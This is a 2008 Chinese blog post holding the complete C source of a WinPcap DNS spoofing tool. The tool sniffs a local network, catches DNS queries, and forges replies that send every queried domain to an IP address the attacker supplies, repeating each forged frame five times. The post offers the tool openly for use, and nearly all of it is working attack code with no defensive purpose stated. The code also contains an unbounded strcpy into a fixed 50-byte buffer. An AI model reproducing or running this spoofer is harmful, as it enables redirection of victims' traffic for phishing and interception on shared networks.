作者在 2008-01-21 11:07:24 发布以下内容
//DNS欺骗工具
//By RedIce
//E-mail:redice@see.xidian.edu.cn
//http://redice.1.suhai.com.cn
#include <pcap.h>
int k=1;
/*物理帧头结构*/
typedef struct {
BYTE DesMAC[6];//目的MAC地址
BYTE SrcMAC[6];//源MAC地址
USHORT Ethertype;//帧类型
}DLC_Header;
//IP报头结构
typedef struct {
BYTE h_len; //IP版本号+IP头长度(单位:4字节)
BYTE tos; //服务类型TOS
USHORT total_len; //IP包总长度
USHORT ident; //标识
USHORT frag_and_flags; //标志位
BYTE ttl; //生存时间
BYTE proto; //协议
USHORT checksum; //IP首部校验和
BYTE sourceIP[4]; //源IP地址(32位)
BYTE destIP[4]; //目的IP地址(32位)
}IpHeader;
//UDP报头结构
typedef struct _UDP{
USHORT SrcPort; // 源端口
USHORT DstPort; // 目的端口
USHORT Len; // 报文长度
USHORT Chksum; // 校验和
}UDP_Header;
//UDP伪首部-仅用于计算校验和
typedef struct tsd_hdr
{
BYTE saddr[4]; //源地址
BYTE daddr[4]; //目的地址
BYTE mbz;
BYTE ptcl; //协议类型
USHORT udpl;//UDP包总长度(不包括伪首部长度)
}PSD_HEADER;
/*DNS数据报头*/
typedef struct dns_header
{
USHORT id; //标识,通过它客户端可以将DNS的请求与应答相匹配;
USHORT flags; //标志:查询0x0100 应答:0x8180
USHORT questions; //问题数目
USHORT answers; //资源记录数目
USHORT author; //授权资源记录数目
USHORT addition; //额外资源记录数目
}DNS_HEADER;
pcap_t *fp;
BYTE fakeipaddr[4];//所有的域名解析都将指向该IP
BYTE myip[4];//本机IP
USHORT checksum(USHORT *,int );//计算校验和
void usage();//程序使用说明
void packet_handler(u_char *, const struct pcap_pkthdr *, const u_char *);
void main(int argc,char *argv[])
{
char errbuf[PCAP_ERRBUF_SIZE];
char packet_filter[] = "";
pcap_if_t *alldevs;
pcap_if_t *d;
UINT netmask;
struct bpf_program fcode;
int i=0;
UINT temp;
BYTE choise;
WSADATA wsaData;
char name[255];//定义用于存放获得的主机名的变量
char *ip;
PHOSTENT hostinfo;
if ( WSAStartup( MAKEWORD(2,0), &wsaData ) == 0 )
{
if( gethostname (name, sizeof(name)) == 0)
{
if((hostinfo = gethostbyname(name)) != NULL)
{
ip = inet_ntoa (*(struct in_addr *)*hostinfo->h_addr_list);
temp=inet_addr(ip);
myip[0]=*(char *)&temp;
myip[1]=*((char *)&temp+1);
myip[2]=*((char *)&temp+2);
myip[3]=*((char *)&temp+3);
}
}
WSACleanup( );//卸载Winsock库,并释放所有资源
}
if(1==argc)//如果只有默认的命令行参数 则给出程序说明 并退出程序
{
usage();
return;
}
else//如果有多个参数
{
for(i=1;i<=argc-1;i++)
{
if(strstr(argv[i],"?"))
{
usage();
return;
}
}
}
if(strlen(argv[argc-1])<8)
{
printf("输入IP地址格式不正确!\n");
return;
}
temp=inet_addr(argv[argc-1]);
fakeipaddr[0]=*(char *)&temp;
fakeipaddr[1]=*((char *)&temp+1);
fakeipaddr[2]=*((char *)&temp+2);
fakeipaddr[3]=*((char *)&temp+3);
/* 获取本地机器设备列表 */
if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL /* auth is not needed */, &alldevs, errbuf) == -1)
{
fprintf(stderr,"获取网卡设备列表出错: %s\n", errbuf);
return;
}
//列出网卡设备信息
for(d=alldevs,i=0; d!=NULL; i++,d=d->next)
{
printf("网卡%d :%s\n(描述:%s)\n",i+1,d->name,d->description);
}
if(0==i)//没有网卡
{
printf("未找到网卡设备!\n");
pcap_freealldevs(alldevs);
}
else if(1==i)//仅有一块网卡
{
printf("本机仅有一块网卡设备,程序将使用该网卡!\n");
d=alldevs;
}
else//有多块网卡
{
printf("本机有%d块网卡设备,请指定本程序要使用的网卡设备编号:",i);
label:
choise=(char)getchar()-'0'; //取得用户选择的网卡编号
if(choise<0||choise>i)
{
printf("\n错误的网卡编号,请重新选择:\n");
goto label;
}
for(d=alldevs,i=1; i<choise;i++,d=d->next);
}
/* 打开输出设备 */
if ( (fp= pcap_open(d->name, // 设备名
65536, // 要捕获的部分
PCAP_OPENFLAG_PROMISCUOUS, // 混杂模式
1000, // 读超时时间
NULL, // 远程机器验证
errbuf // 错误缓冲
) ) == NULL)
{
printf("\n不能打开该网卡. %s 不被WinPacp驱动所支持!\n", d->name);
pcap_freealldevs(alldevs);
return;
}
/* 检查数据链路层,为了简单,我们只考虑以太网 */
if(pcap_datalink(fp) != DLT_EN10MB)
{
fprintf(stderr,"\n这个程序仅能工作于局域网.\n");
/* 释放设备列表 */
pcap_freealldevs(alldevs);
return;
}
if(d->addresses!=NULL)
/* 获得接口第一个地址的掩码 */
netmask=((struct sockaddr_in *)(d->addresses->netmask))->sin_addr.S_un.S_addr;
else
/* 如果接口没有地址,那么我们假设一个C类的掩码 */
netmask=0xffffff;
//编译过滤器
if (pcap_compile(fp, &fcode, packet_filter, 1, netmask) <0 )
{
fprintf(stderr,"\nUnable to compile the packet filter. Check the syntax.\n");
/* 释放设备列表 */
pcap_freealldevs(alldevs);
return;
}
//设置过滤器
if (pcap_setfilter(fp, &fcode)<0)
{
fprintf(stderr,"\nError setting the filter.\n");
/* 释放设备列表 */
pcap_freealldevs(alldevs);
return;
}
/* 不再需要设备列表了,释放它 */
pcap_freealldevs(alldevs);
printf("\n正在监听网卡%d...\n",choise);
/* 开始捕捉 */
pcap_loop(fp, 0, packet_handler, NULL);
return;
}
/* 回调函数,当收到每一个数据包时会被libpcap所调用 */
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
int i;
DLC_Header *dlcheader,*fakedlc;//物理帧
IpHeader *ipheader,*fakeip;//IP头
UDP_Header *udpheader,*fakeudp;//UDP头
DNS_HEADER *dnsheader,*fakedns;//DNS头
PSD_HEADER *psdheader;//伪UDP头
USHORT ip_len;//IP头的长度
BYTE srcip[4];//源IP地址
BYTE destip[4];//目的IP地址
BYTE srcmac[6];//源MAC地址
BYTE destmac[6];//目的MAC地址
BYTE domain[50];//域名
dlcheader=(DLC_Header *)pkt_data;
if(0x0800!=ntohs(dlcheader->Ethertype)) return; //如果不是IP包则返回
ipheader=(IpHeader *)(pkt_data+14);//Ip头
//获取MAC地址信息
memset(srcmac,0,6);
memset(destmac,0,6);
memcpy(srcmac,(char *)&(dlcheader->SrcMAC[0]),6);
memcpy(destmac,(char *)&(dlcheader->DesMAC[0]),6);
//获取IP地址信息
memset(srcip,0,4);
memset(destip,0,4);
memcpy(srcip,(char *)&(ipheader->sourceIP[0]),4);
memcpy(destip,(char *)&(ipheader->destIP[0]),4);
//如果源IP是本机IP则不进行欺骗
//if((srcip[0]==myip[0])&&(srcip[1]==myip[1])&&(srcip[2]==myip[2])&&(srcip[3]==myip[3]))
//return;
if(17!=ipheader->proto) return;//如果不是UDP包则不予处理
ip_len=(ipheader->h_len & 0x0f)*4;//计算IP头的长度
udpheader=(UDP_Header *)((char *)ipheader+ip_len);
if(53!=ntohs(udpheader->DstPort)) return;//如果不是DNS包则不予处理
dnsheader=(DNS_HEADER *)((char *)udpheader+8);//UDP包头的长度为8个字节
//DNS包的所有数据=IP包总长度-IP头的长度-UDP头的长度(8)
if(ntohs(dnsheader->flags)==0x0100)//DNS查询数据包
{
printf(" *%d* Sourse Mac:%x-%x-%x-%x-%x-%x Dest Mac:%x-%x-%x-%x-%x-%x\n",
k++,
srcmac[0],
srcmac[1],
srcmac[2],
srcmac[3],
srcmac[4],
srcmac[5],
destmac[0],
destmac[1],
destmac[2],
destmac[3],
destmac[4],
destmac[5]);
printf(" IP From->To:%d.%d.%d.%d->%d.%d.%d.%d\n\n",
srcip[0],
srcip[1],
srcip[2],
srcip[3],
destip[0],
destip[1],
destip[2],
destip[3]);
printf("这是一个DNS查询数据包: 源端口(%d),目的端口(%d)\n",ntohs(udpheader->SrcPort),ntohs(udpheader->DstPort));
memset(domain,0,50);
strcpy(domain,(char *)dnsheader+12); //取得用户查询的域名
printf("查询域名:%s\n\n",domain);
//构造虚假的应答包
fakedns=malloc(12+strlen(domain)+21);//给DNS包分配内存
memset(fakedns,0,12+strlen(domain)+21);
fakedns->id=dnsheader->id;//客户标识
fakedns->flags=htons(0x8180);//DNS包类型:应答
fakedns->questions=htons(1);//问题数
fakedns->answers=htons(1);//回答数
fakedns->author=0;
fakedns->addition=0;
memcpy((char *)fakedns+12,domain,strlen(domain)+1);//填充用户查询的域名+0x00
*((BYTE *)fakedns+12+strlen(domain)+1)=0x00;//查询类型
*((BYTE *)fakedns+12+strlen(domain)+2)=0x01;
*((BYTE *)fakedns+12+strlen(domain)+3)=0x00;//查询类型-A类IP地址
*((BYTE *)fakedns+12+strlen(domain)+4)=0x01;
*((BYTE *)fakedns+12+strlen(domain)+5)=0xC0;//分割符
*((BYTE *)fakedns+12+strlen(domain)+6)=0x0C;
*((BYTE *)fakedns+12+strlen(domain)+7)=0x00;//应答类型类型
*((BYTE *)fakedns+12+strlen(domain)+8)=0x01;
*((BYTE *)fakedns+12+strlen(domain)+9)=0x00;//应答类型-A类IP地址
*((BYTE *)fakedns+12+strlen(domain)+10)=0x01;
*((BYTE *)fakedns+12+strlen(domain)+11)=0x00;//TTL
*((BYTE *)fakedns+12+strlen(domain)+12)=0x00;
*((BYTE *)fakedns+12+strlen(domain)+13)=0x00;
*((BYTE *)fakedns+12+strlen(domain)+14)=0x80;
*((BYTE *)fakedns+12+strlen(domain)+15)=0x00;//IP地址长度
*((BYTE *)fakedns+12+strlen(domain)+16)=0x04;
//填充虚假IP地址
*((BYTE *)fakedns+12+strlen(domain)+17)=fakeipaddr[0];
*((BYTE *)fakedns+12+strlen(domain)+18)=fakeipaddr[1];
*((BYTE *)fakedns+12+strlen(domain)+19)=fakeipaddr[2];
*((BYTE *)fakedns+12+strlen(domain)+20)=fakeipaddr[3];
//DNS包填充完毕
//填充UPD包
fakeudp=malloc(8+12+strlen(domain)+21);
memset((char *)fakeudp,0,8+12+strlen(domain)+21);
fakeudp->DstPort=udpheader->SrcPort;
fakeudp->SrcPort=udpheader->DstPort;
fakeudp->Chksum=0;//校验和,先填写0
fakeudp->Len=htons(8+12+strlen(domain)+21);//UDP包的大小(含数据部分)
memcpy((char *)fakeudp+8,(char *)fakedns,12+strlen(domain)+21);//将虚假DNS包封装进UDP包
//使用UDP伪首部计算校验和
psdheader=malloc(12+8+12+strlen(domain)+21);
psdheader->mbz=0;
psdheader->ptcl=17;
psdheader->udpl=htons(8+12+strlen(domain)+21);
memcpy((char *)&(psdheader->saddr[0]),destip,4);//填充源IP
memcpy((char *)&(psdheader->daddr[0]),srcip,4);//填充目的IP
memcpy((char *)psdheader+12,(char *)fakeudp,8+12+strlen(domain)+21);
fakeudp->Chksum=checksum((USHORT *)psdheader,12+8+12+strlen(domain)+21);
//UDP包封装完毕
//填充IP包
fakeip=malloc(20+8+12+strlen(domain)+21);
memset((char *)fakeip,0,20+8+12+strlen(domain)+21);
fakeip->h_len=0x45;//IP版本号+首部长度
fakeip->checksum=0;//校验和,暂时添0
fakeip->tos=ipheader->tos;
fakeip->total_len=htons(20+8+12+strlen(domain)+21);//IP包总长
fakeip->ident=ipheader->ident;//标识
fakeip->frag_and_flags=ipheader->frag_and_flags;
fakeip->proto=ipheader->proto;//上层协议
fakeip->ttl=128;
memcpy((char *)fakeip+12,(char *)destip,4);//源IP地址
memcpy((char *)fakeip+16,(char *)srcip,4);//目的IP地址
memcpy((char *)fakeip+20,(char *)fakeudp,8+12+strlen(domain)+21);//将UDP包封装进IP包
//计算校验和
//IP首部校验和字段是根据IP首部计算的校验和码,它不对首部后面的数据进行计算
fakeip->checksum=checksum((USHORT *)fakeip,20);
//IP包封装完成
//填充MAC帧
fakedlc=malloc(14+20+8+12+strlen(domain)+21);
memset(fakedlc,0,14+20+8+12+strlen(domain)+21);
memcpy((char *)&(fakedlc->DesMAC[0]),srcmac,6);//填充目的MAC
memcpy((char *)&(fakedlc->SrcMAC[0]),destmac,6);//填充源MAC
fakedlc->Ethertype=dlcheader->Ethertype;
memcpy((char *)fakedlc+14,(char *)fakeip,20+8+12+strlen(domain)+21);
//MAC帧封装完毕了 下面可以发包了 呵呵
//真个帧的大小:14+20+8+12+strlen(domain)+21
/* 发送数据包 */
for(i=0;i<5;i++)
{
if (pcap_sendpacket(fp,(char *)fakedlc, 14+20+8+12+strlen(domain)+21) != 0)
return;
}
free(psdheader);
free(fakedns);
free(fakeudp);
free(fakeip);
free(fakedlc);
}
else if(ntohs(dnsheader->flags)==0x8180)//DNS应答数据包
{
printf("这是一个DNS应答数据包: 源端口(%d),目的端口(%d)\n",ntohs(udpheader->SrcPort),ntohs(udpheader->DstPort));
}
else
{
printf("未知DNS类型数据包!\n");
}
return;
}
//计算校验和
USHORT checksum(USHORT *buffer,int size)
{
unsigned long cksum=0;
while(size>1)
{
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size)
{
cksum+=*(UCHAR *)buffer;
}
//将32位数转换成16
while (cksum>>16)
cksum=(cksum>>16)+(cksum & 0xffff);
return (USHORT) (~cksum);
}
//程序使用说明
void usage()
{
printf("DNS欺骗工具\n\n");
printf("By RedIce\n");
printf("E-mail:redice@see.xidian.edu.cn\n");
printf("http:\\\\redice.1.suhai.com.cn\n");
printf("使用方法 eg. dns_cheat.exe 10.10.75.2\n");
}